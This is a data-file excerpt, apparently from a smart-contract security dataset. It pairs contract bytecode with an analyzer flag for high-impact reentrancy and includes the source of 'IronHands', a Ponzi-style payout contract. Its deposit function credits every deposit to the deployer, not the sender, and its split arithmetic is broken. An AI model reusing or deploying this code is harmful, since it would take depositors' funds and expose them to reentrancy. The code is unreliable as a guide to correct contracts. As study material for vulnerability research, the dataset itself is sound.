ffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612c6c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612cc25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612e475760195481612cd484611ad6565b612cde9190614c9a565b10612d1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d1590614a58565b60405180910390fd5b601854811115612d63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5a906148f8565b60405180910390fd5b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612e075750600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b612e46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e3d90614958565b60405180910390fd5b5b5b6000612e5330611ad6565b90506000601a5482101590506018548210612e6e5760185491505b808015612e885750601760149054906101000a900460ff16155b8015612ee25750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015612efa5750601760159054906101000a900460ff165b15612f2257612f088261338f565b60004790506000811115612f2057612f1f4761373b565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612fcc5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061307f5750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561307e5750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561308d57600090506132ab565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156131385750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561315057600c54601081905550600d546011819055505b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166131e7576018548211156131e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131dd906149b8565b60405180910390fd5b5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156132925750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156132aa57600e54601081905550600f546011819055505b5b6132b784848484613836565b50505050565b6000838311158290613305576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132fc9190614856565b60405180910390fd5b50600083856133149190614d7b565b9050809150509392505050565b6000600954821115613368576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161335f906148d8565b60405180910390fd5b6000613372613863565b9050613387818461388e90919063ffffffff16565b915050919050565b6001601760146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156133ed577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561341b5781602001602082028036833780820191505090505b5090503081600081518110613459577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156134fb57600080fd5b505afa15801561350f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906135339190614109565b8160018151811061356d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506135d430601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612843565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613638959493929190614b53565b600060405180830381600087803b15801561365257600080fd5b505af1158015613666573d6000803e3d6000fd5b50505050506000601760146101000a81548160ff02191690831515021790555050565b61369161283b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461371e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613715906149f8565b60405180910390fd5b6001601760166101000a81548160ff021916908315150217905550565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61378b60028461388e90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156137b6573d6000803e3d6000fd5b50601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61380760028461388e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015613832573d6000803e3d6000fd5b5050565b80613844576138436138d8565b5b61384f84848461391b565b8061385d5761385c613ae6565b5b50505050565b6000806000613870613afa565b91509150613887818361388e90919063ffffffff16565b9250505090565b60006138d083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613b5c565b905092915050565b60006010541480156138ec57506000601154145b156138f657613919565b601054601281905550601154601381905550600060108190555060006011819055505b565b60008060008060008061392d87613bbf565b95509550955095509550955061398b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c2790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613a2085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c7190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613a6c81613ccf565b613a768483613d8c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051613ad39190614b38565b60405180910390a3505050505050505050565b601254601081905550601354601181905550565b600080600060095490506000683635c9adc5dea000009050613b30683635c9adc5dea0000060095461388e90919063ffffffff16565b821015613b4f57600954683635c9adc5dea00000935093505050613b58565b81819350935050505b9091565b60008083118290613ba3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613b9a9190614856565b60405180910390fd5b5060008385613bb29190614cf0565b9050809150509392505050565b6000806000806000806000806000613bdc8a601054601154613dc6565b9250925092506000613bec613863565b90506000806000613bff8e878787613e5c565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000613c6983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506132bd565b905092915050565b6000808284613c809190614c9a565b905083811015613cc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613cbc90614978565b60405180910390fd5b8091505092915050565b6000613cd9613863565b90506000613cf08284613ee590919063ffffffff16565b9050613d4481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c7190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b613da182600954613c2790919063ffffffff16565b600981905550613dbc81600a54613c7190919063ffffffff16565b600a819055505050565b600080600080613df26064613de4888a613ee590919063ffffffff16565b61388e90919063ffffffff16565b90506000613e1c6064613e0e888b613ee590919063ffffffff16565b61388e90919063ffffffff16565b90506000613e4582613e37858c613c2790919063ffffffff16565b613c2790919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613e758589613ee590919063ffffffff16565b90506000613e8c8689613ee590919063ffffffff16565b90506000613ea38789613ee590919063ffffffff16565b90506000613ecc82613ebe8587613c2790919063ffffffff16565b613c2790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415613ef85760009050613f5a565b60008284613f069190614d21565b9050828482613f159190614cf0565b14613f55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613f4c906149d8565b60405180910390fd5b809150505b92915050565b6000613f73613f6e84614bed565b614bc8565b90508083825260208201905082856020860282011115613f9257600080fd5b60005b85811015613fc25781613fa88882614038565b845260208401935060208301925050600181019050613f95565b5050509392505050565b6000613fdf613fda84614c19565b614bc8565b90508083825260208201905082856020860282011115613ffe57600080fd5b60005b8581101561402e578161401488826140cb565b845260208401935060208301925050600181019050614001565b5050509392505050565b600081359050614047816155b3565b92915050565b60008151905061405c816155b3565b92915050565b600082601f83011261407357600080fd5b8135614083848260208601613f60565b91505092915050565b600082601f83011261409d57600080fd5b81356140ad848260208601613fcc565b91505092915050565b6000813590506140c5816155ca565b92915050565b6000813590506140da816155e1565b92915050565b6000602082840312156140f257600080fd5b600061410084828501614038565b91505092915050565b60006020828403121561411b57600080fd5b60006141298482850161404d565b91505092915050565b6000806040838503121561414557600080fd5b600061415385828601614038565b925050602061416485828601614038565b9150509250929050565b60008060006060848603121561418357600080fd5b600061419186828701614038565b93505060206141a286828701614038565b92505060406141b3868287016140cb565b9150509250925092565b600080604083850312156141d057600080fd5b60006141de85828601614038565b92505060206141ef858286016140b6565b9150509250929050565b6000806040838503121561420c57600080fd5b600061421a85828601614038565b925050602061422b858286016140cb565b9150509250929050565b60006020828403121561424757600080fd5b600082013567ffffffffffffffff81111561426157600080fd5b61426d84828501614062565b91505092915050565b6000806040838503121561428957600080fd5b600083013567ffffffffffffffff8111156142a357600080fd5b6142af85828601614062565b925050602083013567ffffffffffffffff8111156142cc57600080fd5b6142d88582860161408c565b9150509250929050565b6000602082840312156142f457600080fd5b6000614302848285016140cb565b91505092915050565b6000806000806080858703121561432157600080fd5b600061432f878288016140cb565b9450506020614340878288016140cb565b9350506040614351878288016140cb565b9250506060614362878288016140cb565b91505092959194509250565b600061437a83836143a4565b60208301905092915050565b61438f81614e16565b82525050565b61439e81614dc1565b82525050565b6143ad81614daf565b82525050565b6143bc81614daf565b82525050565b60006143cd82614c55565b6143d78185614c78565b93506143e283614c45565b8060005b838110156144135781516143fa888261436e565b975061440583614c6b565b9250506001810190506143e6565b5085935050505092915050565b61442981614dd3565b82525050565b61443881614e28565b82525050565b61444781614e4c565b82525050565b600061445882614c60565b6144628185614c89565b9350614472818560208601614e82565b61447b81614fbc565b840191505092915050565b6000614493602383614c89565b915061449e82614fcd565b604082019050919050565b60006144b6603683614c89565b91506144c18261501c565b604082019050919050565b60006144d9601883614c89565b91506144e48261506b565b602082019050919050565b60006144fc602a83614c89565b915061450782615094565b604082019050919050565b600061451f601c83614c89565b915061452a826150e3565b602082019050919050565b6000614542602683614c89565b915061454d8261510c565b604082019050919050565b6000614565602283614c89565b91506145708261515b565b604082019050919050565b6000614588602383614c89565b9150614593826151aa565b604082019050919050565b60006145ab601b83614c89565b91506145b6826151f9565b602082019050919050565b60006145ce601b83614c89565b91506145d982615222565b602082019050919050565b60006145f1603683614c89565b91506145fc8261524b565b604082019050919050565b6000614614602183614c89565b915061461f8261529a565b604082019050919050565b6000614637602083614c89565b9150614642826152e9565b602082019050919050565b600061465a602983614c89565b915061466582615312565b604082019050919050565b600061467d602583614c89565b915061468882615361565b604082019050919050565b60006146a0602383614c89565b91506146ab826153b0565b604082019050919050565b60006146c3601783614c89565b91506146ce826153ff565b602082019050919050565b60006146e6602483614c89565b91506146f182615428565b604082019050919050565b6000614709602b83614c89565b915061471482615477565b604082019050919050565b600061472c602783614c89565b9150614737826154c6565b604082019050919050565b600061474f604d83614c89565b915061475a82615515565b606082019050919050565b6000614772601d83614c89565b915061477d8261558a565b602082019050919050565b61479181614dff565b82525050565b6147a081614e09565b82525050565b60006020820190506147bb60008301846143b3565b92915050565b60006020820190506147d66000830184614386565b92915050565b60006020820190506147f16000830184614395565b92915050565b600060408201905061480c60008301856143b3565b61481960208301846143b3565b9392505050565b60006020820190506148356000830184614420565b92915050565b6000602082019050614850600083018461442f565b92915050565b60006020820190508181036000830152614870818461444d565b905092915050565b6000602082019050818103600083015261489181614486565b9050919050565b600060208201905081810360008301526148b1816144a9565b9050919050565b600060208201905081810360008301526148d1816144cc565b9050919050565b600060208201905081810360008301526148f1816144ef565b9050919050565b6000602082019050818103600083015261491181614512565b9050919050565b6000602082019050818103600083015261493181614535565b9050919050565b6000602082019050818103600083015261495181614558565b9050919050565b600060208201905081810360008301526149718161457b565b9050919050565b600060208201905081810360008301526149918161459e565b9050919050565b600060208201905081810360008301526149b1816145c1565b9050919050565b600060208201905081810360008301526149d1816145e4565b9050919050565b600060208201905081810360008301526149f181614607565b9050919050565b60006020820190508181036000830152614a118161462a565b9050919050565b60006020820190508181036000830152614a318161464d565b9050919050565b60006020820190508181036000830152614a5181614670565b9050919050565b60006020820190508181036000830152614a7181614693565b9050919050565b60006020820190508181036000830152614a91816146b6565b9050919050565b60006020820190508181036000830152614ab1816146d9565b9050919050565b60006020820190508181036000830152614ad1816146fc565b9050919050565b60006020820190508181036000830152614af18161471f565b9050919050565b60006020820190508181036000830152614b1181614742565b9050919050565b60006020820190508181036000830152614b3181614765565b9050919050565b6000602082019050614b4d6000830184614788565b92915050565b600060a082019050614b686000830188614788565b614b75602083018761443e565b8181036040830152614b8781866143c2565b9050614b9660608301856143b3565b614ba36080830184614788565b9695505050505050565b6000602082019050614bc26000830184614797565b92915050565b6000614bd2614be3565b9050614bde8282614eb5565b919050565b6000604051905090565b600067ffffffffffffffff821115614c0857614c07614f8d565b5b602082029050602081019050919050565b600067ffffffffffffffff821115614c3457614c33614f8d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000614ca582614dff565b9150614cb083614dff565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614ce557614ce4614f2f565b5b828201905092915050565b6000614cfb82614dff565b9150614d0683614dff565b925082614d1657614d15614f5e565b5b828204905092915050565b6000614d2c82614dff565b9150614d3783614dff565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614d7057614d6f614f2f565b5b828202905092915050565b6000614d8682614dff565b9150614d9183614dff565b925082821015614da457614da3614f2f565b5b828203905092915050565b6000614dba82614ddf565b9050919050565b6000614dcc82614ddf565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000614e2182614e5e565b9050919050565b6000614e3382614e3a565b9050919050565b6000614e4582614ddf565b9050919050565b6000614e5782614dff565b9050919050565b6000614e6982614e70565b9050919050565b6000614e7b82614ddf565b9050919050565b60005b83811015614ea0578082015181840152602081019050614e85565b83811115614eaf576000848401525b50505050565b614ebe82614fbc565b810181811067ffffffffffffffff82111715614edd57614edc614f8d565b5b80604052505050565b6000614ef182614dff565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614f2457614f23614f2f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f43616e206f6e6c792061697264726f70203230302077616c6c6574732070657260008201527f2074786e2064756520746f20676173206c696d69747300000000000000000000602082015250565b7f5f6d6b7467416464726573732063616e6e6f7420626520300000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f4163636f756e7420697320616c7265616479206578636c756465640000000000600082015250565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f5f6e6663416464726573732063616e6e6f742062652030000000000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206163746976652c2063616e6e6f60008201527f742072656c61756e63682e000000000000000000000000000000000000000000602082015250565b7f4163636f756e74206973206e6f74206578636c756465642066726f6d2072656660008201527f6c656374696f6e00000000000000000000000000000000000000000000000000602082015250565b7f43616e6e6f74206578636c756465206d6f7265207468616e203530206163636f60008201527f756e74732e2020496e636c75646520612070726576696f75736c79206578636c60208201527f7564656420616464726573732e00000000000000000000000000000000000000604082015250565b7f4d757374206b656570206275792074617865732062656c6f7720323525000000600082015250565b6155bc81614daf565b81146155c757600080fd5b50565b6155d381614dd3565b81146155de57600080fd5b50565b6155ea81614dff565b81146155f557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220669edb4860e24ed61d78e4d1997268b1e524114f7b206f73fe14a5327a00a07a64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
8,598
0x711b615e714a6b61c61cebba48d12cf97d7a3d0a
pragma solidity 0.4.23; /* * ATTENTION! * * This code? IS NOT DESIGNED FOR ACTUAL USE. * * The author of this code really wishes you wouldn&#39;t send your ETH to it. * * No, seriously. It&#39;s probablly illegal anyway. So don&#39;t do it. * * Let me repeat that: Don&#39;t actually send money to this contract. You are * likely breaking several local and national laws in doing so. * * This code is intended to educate. Nothing else. If you use it, expect S.W.A.T * teams at your door. I wrote this code because I wanted to experiment * with smart contracts, and I think code should be open source. So consider * it public domain, No Rights Reserved. Participating in pyramid schemes * is genuinely illegal so just don&#39;t even think about going beyond * reading the code and understanding how it works. * * Seriously. I&#39;m not kidding. It&#39;s probablly broken in some critical way anyway * and will suck all your money out your wallet, install a virus on your computer * sleep with your wife, kidnap your children and sell them into slavery, * make you forget to file your taxes, and give you cancer. * * So.... tl;dr: This contract sucks, don&#39;t send money to it. * * What it does: * * It takes 50% of the ETH in it and buys tokens. * It takes 50% of the ETH in it and pays back depositors. * Depositors get in line and are paid out in order of deposit, plus the deposit * percent. * The tokens collect dividends, which in turn pay into the payout pool * to be split 50/50. * * If your seeing this contract in it&#39;s initial configuration, it should be * set to 200% (double deposits), and pointed at FART: * 0xAF6DE38Ffc92E0d52857f864048D7af2f345A3CF * * But you should verify this for yourself. * * */ contract ERC20Interface { function transfer(address to, uint256 tokens) public returns (bool success); } contract FART { function buy(address) public payable returns(uint256); function withdraw() public; function myTokens() public view returns(uint256); function myDividends(bool) public view returns(uint256); } contract Owned { address public owner; address public ownerCandidate; function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function changeOwner(address _newOwner) public onlyOwner { ownerCandidate = _newOwner; } function acceptOwnership() public { require(msg.sender == ownerCandidate); owner = ownerCandidate; } } contract IronHands is Owned { /** * Modifiers */ /** * Only owners are allowed. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * The tokens can never be stolen. */ modifier notFart(address aContract) { require(aContract != address(fart)); _; } /** * Events */ event Deposit(uint256 amount, address depositer); event Purchase(uint256 amountSpent, uint256 tokensReceived); event Payout(uint256 amount, address creditor); event Dividends(uint256 amount); event ContinuityBreak(uint256 position, address skipped, uint256 amount); event ContinuityAppeal(uint256 oldPosition, uint256 newPosition, address appealer); /** * Structs */ struct Participant { address etherAddress; uint256 payout; } //Total ETH managed over the lifetime of the contract uint256 throughput; //Total ETH received from dividends uint256 dividends; //The percent to return to depositers. 100 for 00%, 200 to double, etc. uint256 public multiplier; //Where in the line we are with creditors uint256 public payoutOrder = 0; //How much is owed to people uint256 public backlog = 0; //The creditor line Participant[] public participants; //How much each person is owed mapping(address => uint256) public creditRemaining; //What we will be buying FART fart; address sender; /** * Constructor */ function IronHands(uint multiplierPercent, address fartAddress) public { multiplier = multiplierPercent; fart = FART(fartAddress); sender = msg.sender; } /** * Fallback function allows anyone to send money for the cost of gas which * goes into the pool. Used by withdraw/dividend payouts so it has to be cheap. */ function() payable public { if (msg.sender != address(fart)) { deposit(); } } /** * Deposit ETH to get in line to be credited back the multiplier as a percent, * add that ETH to the pool, get the dividends and put them in the pool, * then pay out who we owe and buy more tokens. */ function deposit() payable public { //You have to send more than 1000000 wei. require(msg.value > 1000000); //Compute how much to pay them uint256 amountCredited = (msg.value * multiplier) / 100; //Get in line to be paid back. participants.push(Participant(sender, amountCredited)); //Increase the backlog by the amount owed backlog += amountCredited; //Increase the amount owed to this address creditRemaining[sender] += amountCredited; //Emit a deposit event. emit Deposit(msg.value, sender); //If I have dividends if(myDividends() > 0){ //Withdraw dividends withdraw(); } //Pay people out and buy more tokens. payout(); } /** * Take 50% of the money and spend it on tokens, which will pay dividends later. * Take the other 50%, and use it to pay off depositors. */ function payout() public { //Take everything in the pool uint balance = address(this).balance; //It needs to be something worth splitting up require(balance > 1); //Increase our total throughput throughput += balance; //Split it into two parts uint investment = balance / 2 ether + 1 finney; // avoid rounding issues //Take away the amount we are investing from the amount to send balance -= investment; //Invest it in more tokens. uint256 tokens = fart.buy.value(investment).gas(1000000)(msg.sender); //Record that tokens were purchased emit Purchase(investment, tokens); //While we still have money to send while (balance > 0) { //Either pay them what they are owed or however much we have, whichever is lower. uint payoutToSend = balance < participants[payoutOrder].payout ? balance : participants[payoutOrder].payout; //if we have something to pay them if(payoutToSend > 0) { //subtract how much we&#39;ve spent balance -= payoutToSend; //subtract the amount paid from the amount owed backlog -= payoutToSend; //subtract the amount remaining they are owed creditRemaining[participants[payoutOrder].etherAddress] -= payoutToSend; //credit their account the amount they are being paid participants[payoutOrder].payout -= payoutToSend; //Try and pay them, making best effort. But if we fail? Run out of gas? That&#39;s not our problem any more. if(participants[payoutOrder].etherAddress.call.value(payoutToSend).gas(1000000)()) { //Record that they were paid emit Payout(payoutToSend, participants[payoutOrder].etherAddress); } else { //undo the accounting, they are being skipped because they are not payable. balance += payoutToSend; backlog += payoutToSend; creditRemaining[participants[payoutOrder].etherAddress] += payoutToSend; participants[payoutOrder].payout += payoutToSend; } } //If we still have balance left over if(balance > 0) { // go to the next person in line payoutOrder += 1; } //If we&#39;ve run out of people to pay, stop if(payoutOrder >= participants.length) { return; } } } /** * Number of tokens the contract owns. */ function myTokens() public view returns(uint256) { return fart.myTokens(); } /** * Number of dividends owed to the contract. */ function myDividends() public view returns(uint256) { return fart.myDividends(true); } /** * Number of dividends received by the contract. */ function totalDividends() public view returns(uint256) { return dividends; } /** * Request dividends be paid out and added to the pool. */ function withdraw() public { uint256 balance = address(this).balance; fart.withdraw.gas(1000000)(); uint256 dividendsPaid = address(this).balance - balance; dividends += dividendsPaid; emit Dividends(dividendsPaid); } /** * Number of participants who are still owed. */ function backlogLength() public view returns (uint256) { return participants.length - payoutOrder; } /** * Total amount still owed in credit to depositors. */ function backlogAmount() public view returns (uint256) { return backlog; } /** * Total number of deposits in the lifetime of the contract. */ function totalParticipants() public view returns (uint256) { return participants.length; } /** * Total amount of ETH that the contract has delt with so far. */ function totalSpent() public view returns (uint256) { return throughput; } /** * Amount still owed to an individual address */ function amountOwed(address anAddress) public view returns (uint256) { return creditRemaining[anAddress]; } /** * Amount owed to this person. */ function amountIAmOwed() public view returns (uint256) { return amountOwed(msg.sender); } /** * A trap door for when someone sends tokens other than the intended ones so the overseers can decide where to send them. */ function transferAnyERC20Token(address tokenAddress, address tokenOwner, uint tokens) public onlyOwner notFart(tokenAddress) returns (bool success) { return ERC20Interface(tokenAddress).transfer(tokenOwner, tokens); } }
0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630a44b9cf1461018a5780631b3ed722146101b55780633151ecfc146101e057806335c1d3491461020b57806339af05131461027f5780633ccfd60b146102aa5780633febb070146102c15780635f504a82146102ec57806363bd1d4a146103435780636cff6f9d1461035a57806379ba5097146103855780638da5cb5b1461039c578063949e8acd146103f3578063997664d71461041e578063a0ca0a5714610449578063a26dbf2614610474578063a6f9dae11461049f578063d0e30db0146104e2578063d493b9ac146104ec578063e5cf229714610571578063fb346eab146105c8578063ff5d18ca146105f3575b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156101885761018761064a565b5b005b34801561019657600080fd5b5061019f61086e565b6040518082815260200191505060405180910390f35b3480156101c157600080fd5b506101ca61087e565b6040518082815260200191505060405180910390f35b3480156101ec57600080fd5b506101f5610884565b6040518082815260200191505060405180910390f35b34801561021757600080fd5b506102366004803603810190808035906020019092919050505061095c565b604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390f35b34801561028b57600080fd5b506102946109af565b6040518082815260200191505060405180910390f35b3480156102b657600080fd5b506102bf6109b5565b005b3480156102cd57600080fd5b506102d6610adc565b6040518082815260200191505060405180910390f35b3480156102f857600080fd5b50610301610ae6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561034f57600080fd5b50610358610b0c565b005b34801561036657600080fd5b5061036f611028565b6040518082815260200191505060405180910390f35b34801561039157600080fd5b5061039a61102e565b005b3480156103a857600080fd5b506103b16110ee565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103ff57600080fd5b50610408611113565b6040518082815260200191505060405180910390f35b34801561042a57600080fd5b506104336111db565b6040518082815260200191505060405180910390f35b34801561045557600080fd5b5061045e6111e5565b6040518082815260200191505060405180910390f35b34801561048057600080fd5b506104896111f6565b6040518082815260200191505060405180910390f35b3480156104ab57600080fd5b506104e0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611203565b005b6104ea61064a565b005b3480156104f857600080fd5b50610557600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112a2565b604051808215151515815260200191505060405180910390f35b34801561057d57600080fd5b506105b2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611445565b6040518082815260200191505060405180910390f35b3480156105d457600080fd5b506105dd61148e565b6040518082815260200191505060405180910390f35b3480156105ff57600080fd5b50610634600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611498565b6040518082815260200191505060405180910390f35b6000620f42403411151561065d57600080fd5b6064600454340281151561066d57fe5b04905060076040805190810160405280600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152509080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155505050806006600082825401925050819055508060086000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055507f4bcc17093cdf51079c755de089be5a85e70fa374ec656c194480fbdcda224a5334600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a16000610854610884565b1115610863576108626109b5565b5b61086b610b0c565b50565b600061087933611445565b905090565b60045481565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663688abbf760016040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082151515158152602001915050602060405180830381600087803b15801561091c57600080fd5b505af1158015610930573d6000803e3d6000fd5b505050506040513d602081101561094657600080fd5b8101908080519060200190929190505050905090565b60078181548